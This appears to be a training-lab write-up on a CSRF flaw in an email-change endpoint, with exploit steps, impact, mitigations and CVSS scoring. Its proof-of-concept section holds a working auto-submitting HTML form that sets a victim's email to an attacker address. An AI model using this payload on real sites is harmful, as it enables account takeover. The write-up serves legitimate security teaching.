

CSRF vulnerability with no defenses

Topic: CSRF | Difficulty: Apprentice

Description

The email change functionality accepts POST requests without any CSRF token or SameSite cookie protection. An attacker can host a page with a hidden auto-submitting form that changes the victim's email address the moment they visit the page while authenticated to the application.

Steps to Exploit

1. Log in and observe the email change POST request in Burp Suite (no CSRF token present).
2. Create a malicious HTML page with an auto-submitting form targeting the email change endpoint.
3. Set the action to the application's /my-account/change-email endpoint.
4. Include the desired attacker email as a hidden input field.
5. Host the page on an attacker-controlled server.
6. When the authenticated victim visits the page their email is silently changed.

Proof of Concept

Malicious HTML Page:

```
<html>
<body onload="document.forms[0].submit()">
  <form action="https://TARGET/my-account/change-email" method="POST">
    <input type="hidden" name="email" value="attacker@evil.com">
  </form>
</body>
</html>
```

Impact

- Victim email changed without their knowledge or consent.
- Attacker gains account recovery control via the new email.
- Full account takeover via password reset to attacker-controlled email.
- Breach of user trust and application integrity.

Mitigation / Remediation

1. Implement CSRF tokens (synchronizer token pattern) on all state-changing requests.
2. Set SameSite=Strict or SameSite=Lax on all session cookies.
3. Verify the Origin and Referer headers on sensitive requests.
4. Require current password confirmation for sensitive account changes.

CVSS Score

CVSS v3.1: 6.5 (Medium)

Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N

CVSS Justification

- Attack Vector: Network - delivered via malicious link.
- Attack Complexity: Low.
- Privileges Required: None.
- User Interaction: Required - victim must visit the page.
- Integrity: High - email and account control modified.
- Confidentiality / Availability: None.